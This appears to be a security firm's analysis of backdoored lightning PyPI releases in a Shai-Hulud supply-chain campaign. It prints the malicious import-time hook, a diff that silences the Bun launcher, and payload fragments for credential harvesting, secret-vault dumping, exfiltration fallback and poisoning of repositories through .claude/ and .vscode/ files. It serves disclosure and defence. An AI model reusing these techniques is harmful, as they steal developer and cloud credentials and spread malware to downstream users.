Popular lightning PyPI Package Backdoored in Latest Shai-Hulud Wave

TL;DR

Two versions of lightning, a widely used Python package downloaded roughly 8 million times per month, have been identified as malicious and removed. The package is a popular tool used by developers and AI/ML teams to build and train machine learning models — meaning the affected versions could have reached a large number of organizations.

The compromised versions (2.6.2 and 2.6.3) have been identified as malicious and quarantined. The compromised builds trigger a hidden background process the moment import lightning runs: lightning/_runtime/start.py silently downloads the Bun JavaScript runtime from an external source and uses it to execute an 11.4MB payload (router_runtime.js), with stdout and stderr redirected to DEVNULL to suppress any visible output.

This behavior — a hidden init-time hook, an out-of-ecosystem runtime fetch, and an oversized obfuscated JS payload run under cover of silenced I/O — is inconsistent with the package's prior benign releases and matches the tradecraft seen in recent Shai-Hulud waves (see here and here), which have leaned on Bun specifically to evade Node and Python tooling.

This new variant also uses similar credential-theft, self-propagation, and persistence techniques. Treat any environment that installed these versions as potentially compromised: pin to a known-good release, rotate developer and CI credentials (npm, PyPI, GitHub, cloud), and audit for outbound connections from Python processes importing lightning.

This is a developing story, with new replicas being published on npm. We will continue updating this blog as we identify additional affected packages.

Affected Packages

Immediate action: pip cache remove lightning && pip uninstall lightning && pip install lightning==2.6.1 --no-deps — verify the pinned version pre-dates the compromise before installing. pip cache remove is critical: without it, pip may silently reinstall a compromised wheel from local cache. Assume all cloud and developer credentials on any host that imported a compromised version are exposed.

Timeline

Technical Analysis

Stage 1 — The Import Trigger

The malicious payload is triggered as soon as downstream developers import lightning: The moment Python processes __init__.py it unconditionally spawns a background daemon thread that silently launches _runtime/start.py as a completely detached child process (see below).

Lines 10-22 in __init__.py, which trigger the Bun bootstrapper:

def _run_runtime() -> None:
    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    _start = os.path.join(_runtime_dir, "start.py")
    if os.path.exists(_start):
        subprocess.Popen(
            [sys.executable, _start],
            cwd=_runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

threading.Thread(target=_run_runtime, daemon=True).start()

How the execution chain works:

1. A developer runs import lightning (or any from lightning import ...) anywhere in their code.
2. Python evaluates lightning/__init__.py top-to-bottom at import time. Line 22 is module-level, not inside any function or if __name__ == "__main__" guard, so it runs immediately and unconditionally.
3. threading.Thread(target=_run_runtime, daemon=True).start() fires _run_runtime() on a background thread — daemon=True means it won't even block the process from exiting if the main program finishes quickly.
4. Inside _run_runtime, subprocess.Popen(...) with both stdout=DEVNULL and stderr=DEVNULL launches start.py as a fully detached child process with no visible output and no reference kept to it — the parent thread ends immediately and nothing can observe the child.
5. start.py then downloads and executes Bun + router_runtime.js — the actual payload (see Stage 2 and 3 for details).

The net effect is that every single import lightning anywhere — in a training script, a Jupyter notebook, a CI job — silently downloads and runs arbitrary JavaScript in the background, with the victim having no indication anything happened.

Stage 2 — The Bun Bootstrapper

The script first checks whether a Bun binary is already available — either in a local .bun/ directory alongside the script itself, or anywhere on the system PATH. If neither is found, it downloads Bun v1.3.13 directly from the official GitHub releases as a .zip archive, extracts just the binary into the local .bun/ directory, sets the executable bit on non-Windows systems, and cleans up the zip file. Once a valid binary is confirmed, it launches router_runtime.js with Bun, forwarding the process exit code back to the caller.

Covered platform combinations are: Linux x64 (glibc baseline or musl for Alpine/musl-based distros), Linux ARM64, macOS x64, macOS ARM64 (Apple Silicon), Windows x64, and Windows ARM64. Any other OS/architecture combination raises a RuntimeError immediately.

The start.py file has been slightly modified between versions 2.6.2 and 2.6.3 to remove all console (see below). Version v2.6.3 silently drops every status print() call that 2.6.2 had — the "Bun not found" notice, the "Fetching URL" and "Extracting binary" progress messages, etc. In the same spirit, subprocess.run now passes stdout=subprocess.DEVNULL and stderr=subprocess.DEVNULL, suppressing all output from Bun itself as well. Together, the changes suggest v2.6.3 is intentionally turning start.py into a silent launcher.

Diff of start.py between versions 2.6.2 and 2.6.3, illustrating how output has been silenced:

<         # Runs the script and maps stdout/stderr directly to your terminal
<         result = subprocess.run([bun_exec, str(entry_path)], cwd=SCRIPT_DIR)
<         print("-" * 50)
<         print(f"[*] Script exited with code: {result.returncode}")
---
>         result = subprocess.run(
>             [bun_exec, str(entry_path)],
>             cwd=SCRIPT_DIR,
>             stdout=subprocess.DEVNULL,
>             stderr=subprocess.DEVNULL,
>         )

Stage 3 — The Obfuscated Payload

Both compromised versions contain the identical, single-line, heavily obfuscated JavaScript file about 11MB large. The files open with a javascript-obfuscator fingerprint: a hex-indexed string-table decoder and a self-defending rotation IIFE, which can be deobfuscated using a tool like webcrack.

The deobfuscated payload is a ~216,000-line Bun/Node.js bundle. The first ~183,000 lines are legitimate bundled dependencies (AWS SDK, Octokit, Azure Identity, GCP client libraries — all used as tooling by the malware), the actual malicious code lives in the final ~33,000 lines. Below are findings across four key dimensions.

Replication

The malware has three distinct replication vectors, thereby crossing the boundaries from Python/PyPI to the JavaScript/npm ecosystem.

A. npm Package Poisoning — Token-Based

When an npm_* token is found anywhere on the system, the malware:

• Calls GET https://registry.npmjs.org/-/npm/v1/tokens  to list the tokens associated with the authenticated account. The malware uses the token list to find a specific entry — the one that matches the stolen token by prefix/suffix and has bypass_2fa: true and package:write permission. It then derives the list of publishable packages through a separate, multi-step process.
• Downloads the current latest tarball for each package
• Injects itself: copies Bun.main (i.e., the malware's own runtime) into package/router_runtime.js inside the tarball, writes a bootstrap setup.mjs (a large gzip-compressed payload), and patches package.json to add "preinstall": "node setup.mjs"
• Bumps the patch version by 1 (e.g., 1.2.3 → 1.2.4) and re-publishes to npm with the stolen token

B. npm Package Poisoning — GitHub Actions OIDC-Based

In a GitHub Actions environment, the malware uses the workflow's built-in OIDC token — no stolen credentials required: The OIDC token is then exchanged for a scoped npm publish token via POST https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/{pkg}. The targeted package name is stored as an encoded string.

‍C. GitHub Repository Poisoning (_G class)

Using a GitHub token with workflow scope, the malware pushes files to every non-protected branch of the current repository (skipping only dependabot/* and copilot/* branches):

var k4f = {
  ".vscode/tasks.json":        _4f,
  ".claude/router_runtime.js": { sourcePath: Bun.main },  // drops a copy of itself
  ".claude/settings.json":     x4f,
  ".claude/setup.mjs":         zT,
  ".vscode/setup.mjs":         zT
};
var XH0 = [{ name: "claude", email: "claude@users.noreply.github.com" }];

The commit is attributed to claude@users.noreply.github.com and targeted specifically at .claude/ — Anthropic's Claude desktop agent configuration directory — to hook into Claude's extension system on the next run.

Credential Collection

The malware uses a streaming collector architecture with seven specialized subclasses.

Local / Developer Machine Credentials

Reads 90+ OS-specific files per platform (all paths stored as encoded strings). On macOS these include paths like ~/.aws/credentials, ~/.ssh/id_ed25519, ~/.docker/config.json, ~/.kube/config, ~/.npmrc, .env files in project roots, browser credential stores, VS Code workspace files, and many more. Files over 5 MB are skipped. The raw content of every file is sent to the exfiltration pipeline.

Pattern scanning is applied to extracted content:

// From class B0f constructor — patterns applied to every file read
super("filesystem", "misc", {
  ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,       // GitHub PATs
  npmtoken: /npm_[A-Za-z0-9]{36,}/g          // npm tokens
});

Shell / Environment Scanner

Runs an encoded shell command (decodes at runtime — likely gh auth token or equivalent) to obtain the GitHub CLI's stored auth token, and also dumps the entire process.env object.

CI/CD Credentials

The most aggressive technique. Only activates on Linux GitHub Actions runners. Feeds an embedded Python script (a gzip-compressed payload) into sudo python3 via stdin, pipes output through grep to extract all {"value":"...","isSecret":true} entries from the runner agent's process memory:

This bypasses GitHub's secret masking because it reads directly from runner memory — the secret values are never exposed through the Actions API.

AWS Identity Enumerator

Uses the AWS SDK to call STS:GetCallerIdentity against every available credential source simultaneously:

AWS Secrets Manager Dumper

Iterates all secrets across 17 AWS regions (every major region, from us-east-1 to sa-east-1) and returns both string and binary secret values.

AWS SSM Parameter Store Dumper

Same 17-region sweep, fetches all parameters with decryption enabled (WithDecryption: true), in batches of 10 with exponential-backoff retry on throttling.

Azure Key Vault Dumper

Uses DefaultAzureCredential to list all subscriptions, enumerate every Key Vault in each subscription, and dump all secret values:

// From class x0f — full Azure Key Vault sweep
async execute(signal) {
  let subscriptionId = await this.discoverSubscriptionId(signal);
  let vaultUris = await this.listAllVaults(subscriptionId, signal);
  for (let vaultUri of vaultUris) {
    let secrets = await this.getSecretsFromVault(vaultUri, signal);
    results[vaultName] = secrets;
  }
}

GCP Secret Manager Dumper

Uses GoogleAuth to resolve the active GCP project, lists all secrets (up to 1,000), and fetches the latest version of each.

GitHub Actions Secrets Enumerator

With a GitHub token that has workflow scope, it paginates through all repos the token has push access to and lists both repo-level and org-level Actions secret names (values are not exposed by the GitHub API).

Exfiltration

All collected data flows through a 100 KB in-memory buffer, which batches results and calls a dispatcher, which tries each configured sender in priority order, falling back on failure:

// From class Gq — sender waterfall
dispatch = async (batch) => {
  let envelope = await this.senders[0].createEnvelope(batch);
  for (let sender of this.senders) {
    if (!(await sender.healthy())) continue;
    try {
      await sender.send(envelope);
      return;  // first successful send wins
    } catch {}
  }
  throw AggregateError(errors, "All senders failed");
};

When npmtoken patterns are found in any result, they are acted upon immediately (synchronously triggering the replication path) rather than waiting for the batch threshold.

Channel 1: HTTPS C2

Data is encrypted before transmission using the attacker's RSA public key, embedded as a gzip-compressed base64 blob. The C2 domain and path are encoded strings that decode at runtime to zero.masscan.cloud and v1/telemetry.

The sender first health-checks the C2 with a DNS resolve + HTTPS GET (expects HTTP 400 as "alive" signal).

‍Channel 2: Dead-Drop C2 Rotation via GitHub Commits

If the primary C2 fails DNS resolution, the malware searches GitHub commit messages for a new domain.

The public key for signature verification is a separate hardcoded RSA key embedded as a gzip+base64 blob. This gives the attacker the ability to rotate the C2 server without updating the malware binary — they only need to make a single signed GitHub commit.

Channel 3: Exfiltration via Victim's Own GitHub Account

If any found GitHub token has repo scope and belongs to a publicly reachable account, the malware creates a public repository under the victim's identity and commits the stolen payload there:

As for other Shai-Hulud campaigns, the repo name is drawn from two Dune-universe word lists (e.g., fremen, ornithopter, stillsuit, sietch, melange, ghola) plus a random 3-digit number. If the victim account has no org membership, the GitHub token itself is double-base64 encoded into the commit message — making the exfil data self-bootstrapping for further attack stages.

Persistence

Mechanism 1: npm Supply Chain Injection (Primary)

The most durable persistence path. Once any npm token is compromised, all packages owned by that token are backdoored. The preinstall hook in package.json runs automatically on every downstream npm install:

• Package version is bumped → gets picked up as an update by dependabot/renovate
• router_runtime.js (the malware) is present in the package
• setup.mjs bootstraps execution at install time

Mechanism 2: Claude / VS Code Integration (Repo Poisoning)

As mentioned above, specific files are pushed into .claude/ on all branches:

• .claude/router_runtime.js  ← copy of the malware binary
• .claude/settings.json      ← Claude extension config (hooks into Claude agent)
• .claude/setup.mjs          ← bootstrap loader
• .vscode/tasks.json         ← VS Code task that runs setup.mjs on workspace open
• .vscode/setup.mjs          ← same bootstrap

This persists across every developer who clones or pulls the affected branch. Claude Desktop / the claude CLI will execute setup.mjs as part of its extension system on the next invocation.

Evasion: Russian Locale Exclusion

Again, as seen in previous Shai-Hulud variants, the malware exits immediately if the system's locale or language environment variables indicate a Russian-speaking environment.

Indicators of Compromise (IoCs)

File Hashes

Network Indicators

Conclusion

Credentials collected over the months the Shai-Hulud campaign has been active are expected to fuel follow-on intrusions for a long time to come: stolen cloud keys don't expire on their own, and secrets embedded in CI/CD pipelines rarely get rotated proactively after a supply chain incident. The attackers clearly understood this, designing the payload to both exfiltrate broadly and replicate forward through npm and GitHub so that even victims who remediate quickly may have already seeded the malware into their own downstream users.

What makes this particularly serious is the caliber of projects exposed. Packages like lightning carry millions of monthly downloads and are dependencies of high-profile machine learning frameworks, training pipelines, and production infrastructure. When a package at that tier of the dependency graph is compromised, the malware's filesystem scanner and environment dumper run inside the build environments of some of the most credential-rich systems in the industry — CUDA-accelerated training clusters, cloud-attached notebooks, automated release pipelines — precisely the environments where AWS master keys, GCP service accounts, and npm publish tokens with broad scope tend to live.

The single most effective safeguard that limited the blast radius here is one that requires no tooling change at all: the version cooldown period. By simply avoiding the automatic adoption of package versions released within the last 24–72 hours, organizations deny the attack its window entirely. As with yesterday's incident, the malicious versions were identified and pulled from the registry within hours.

The broader ecosystem owes that detection speed to the community of researchers, registry monitors, and automated scanners that scrutinize every new package version as it lands. The lesson is not that supply chain attacks are unstoppable, but that the defenses work best when the update pipeline has enough friction to let the many-eyes effect do its job before the malicious version reaches production.

References

• Mini Shai-Hulud: npm Worm Hits SAP Developer Packages
• The Bitwarden CLI Supply Chain Attack: What Happened and What to Do